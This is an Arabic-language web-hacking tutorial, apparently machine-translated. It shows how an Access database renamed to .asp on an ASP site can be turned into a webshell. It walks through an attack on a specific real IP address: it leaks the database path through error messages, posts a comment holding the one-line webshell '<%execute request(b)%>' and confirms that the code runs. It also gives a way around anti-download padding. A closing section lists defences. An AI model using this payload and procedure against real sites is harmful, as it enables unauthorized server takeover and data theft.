ربما مع تطور تكنولوجيا أمان الشبكة، تتحسن جودة المسؤولين. عند استخدام نظام الوصول + asp، يتم تغيير mdb إلى asp أو asa لمنع تنزيل قاعدة البيانات. دعونا لا نتحدث عن تغيير اللاحقة مباشرة، يمكنك تنزيلها مباشرة باستخدام أدوات مثل Internet Express، وفي الواقع، لقد فتحت الباب بالفعل للمتسللين. يمكن للمتسللين استخدام قاعدة البيانات مع لاحقة asp/asa للحصول على webshell مباشرة.
واحد. أفكار
يعلم الجميع أن <%%> هو معرف ملف asp، مما يعني أن ملف asp سينفذ التعليمات البرمجية بين <%%> فقط، ويتم تخزين جميع بيانات نظام الويب Access+asp في ملف قاعدة البيانات (ملف mdb )، نظرًا لأن المسؤول قام بتغيير ملف mdb إلى ملف asp، إذا كانت البيانات التي نرسلها تحتوي على <%%>، فعندما نصل إلى قاعدة بيانات asp، سيتم تنفيذ الكود الموجود بين <%%>. يؤدي هذا إلى إرسال تعليمات برمجية ضارة إلى قاعدة البيانات فقط، وبالتالي فإن قاعدة البيانات التي تحتوي على لاحقة asp هي غلاف الويب الخاص بنا.
اثنين. مثال
ما عليك سوى العثور على هدف أولاً، فلنتحقق من قاعدة البيانات لمعرفة ما إذا كانت تحتوي على لاحقة asp: http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210
يعود:
انسخ رمز الكود كما يلي:
خطأ في برنامج التحويل البرمجي لـ Microsoft VBScript "800a03f6"
"النهاية" مفقودة
/iisHelp/common/500-100.asp، السطر 242
خطأ مشغل قاعدة بيانات Microsoft JET "80004005"
'D:/log_mdb/%29dlog_mdb%29.asp' ليس مسارًا صالحًا. حدد ما إذا كان اسم المسار مكتوبًا بشكل صحيح وما إذا كنت متصلاً بالخادم حيث تم تخزين الملف.
/test/conn.asp، السطر 18
نرسل: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp يُرجع مجموعة من الأحرف المشوهة، حتى نتمكن من تنزيل قاعدة البيانات مباشرةً باستخدام أدوات مثل Internet Express (لن نناقش هذا الأمر) هنا). نعود إلى الصفحة الرئيسية ونرى أن هناك وظيفة تعليق لمستخدمي الإنترنت. دعونا نسجل كمستخدم وننشر تعليقًا:
<%تنفيذ الطلب(ب)%>
بهذه الطريقة، نكتب رمز asp: <%execute request(b)%> في قاعدة البيانات، ثم قاعدة البيانات: هي webshell الخاص بنا. إرسال: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp في نهاية الكود المشوه نرى:
انسخ رمز الكود كما يلي:
/iisHelp/common/500-100.asp، السطر 242
خطأ في وقت تشغيل Microsoft VBScript "800a000d"
عدم تطابق النوع: "تنفيذ"
/test/dlog/log_mdb/%29dlog_mdb%29.asp، السطر 1266
ملاحظة: عندما نقوم بإرسال تعليمات برمجية إلى قاعدة البيانات، لا يمكن أن يكون محتوى التعليمات البرمجية كبيرًا جدًا. لذلك نستخدم <%execute request(b)%>.
ثلاثة. بعض الأسئلة والأفكار الأخرى
1. بالنسبة لقاعدة البيانات التي غيرت اللاحقة إلى asp، وأضافت رموز asp غير قانونية مثل <%='a'-1%> إلى قاعدة البيانات لمنع التنزيل تمامًا، نظرًا لوجود رموز asp غير قانونية فيها، بعد إدخال كود webshell الخاص بنا قيد التشغيل سيعرض فقط خطأ الكود غير القانوني السابق دون تنفيذ كود الصدفة الخاصة بنا. على الرغم من أن هذا يمكن أن يمنع بعض الهجمات، إلا أنه لا تزال هناك بعض المخاطر المخفية. وطالما أضفنا رمزًا متوافقًا مع الخطأ قبل رمز الخطأ، فيمكننا عرض وتنفيذ كود webshell الذي أدخلناه بشكل صحيح.
2. بالنسبة للملفات التي لم تغير اللاحقة، أي ملفات mdb، يمكننا تنزيلها مباشرة للحصول على كلمة مرور الخلفية، وبعد إدخال الخلفية، يمكننا استخدام النسخة الاحتياطية لقاعدة البيانات لتغيير اللاحقة إلى asp.
ملخص لأساليب مكافحة التنزيل في mdb
1: ضمن iis6، إذا لم يتم تعريف الامتداد، فسيظهر خطأ 404 لم يتم العثور على الملف عند الوصول.
لذلك، يمكنك تسمية قاعدة البيانات بشكل عشوائي في اسم ملف لن يظهر أبدًا لتحقيق تأثير آمن، مثل: xxxxx.xxxxxxxxxxxx
2 إذا تم وضع قاعدة البيانات خارج الموقع، فلن يكون من الممكن الوصول إليها أبدًا. على سبيل المثال: e:/web/ هو موقع الويب الخاص بك
ثم ضع قاعدة البيانات في e:/
3. كما هو مذكور أعلاه، قم بتغيير .mdb إلى .asp وفي نفس الوقت قم بصبه في جدول خاص يحتوي على <% أحرف ثنائية. بهذه الطريقة، عند الوصول إلى الملف، ستظهر مطالبة بحرف إغلاق البرنامج النصي المفقود.
4. أو قم بتغيير .mdb إلى .asp وافتحه باستخدام winhex في نفس الوقت. يمكنك أن تجد أن هناك جزءًا طويلًا من سلسلة 00 بعد 176. ويمكنك أيضًا منع التنزيل عن طريق تغييره إلى جزء من كود asp حسب الرغبة. والتي لن تؤثر على وظيفة قاعدة البيانات. على سبيل المثال:
<%
الاستجابة.الكتابة (الوصول غير القانوني)
استجابة. النهاية ()
%>
الآن سيتم كسر إضافة # والمسافات في اسم قاعدة البيانات، على سبيل المثال، # = <%35 والمسافات = <%20.
لذلك لم يعد من المفيد استخدامها الآن. .
إذا كان خادمك الخاص، فقم بإعداده في IIS:
قم بإنشاء ملف DLL فارغ جديد، ثم قم بإضافة التعيين في IIS حدد DLL الذي قمت بإنشائه للتو كملف قابل للتنفيذ، وقم بتعبئة .mdb كملحق، ثم احفظ خدمة IIS وأعد تشغيلها.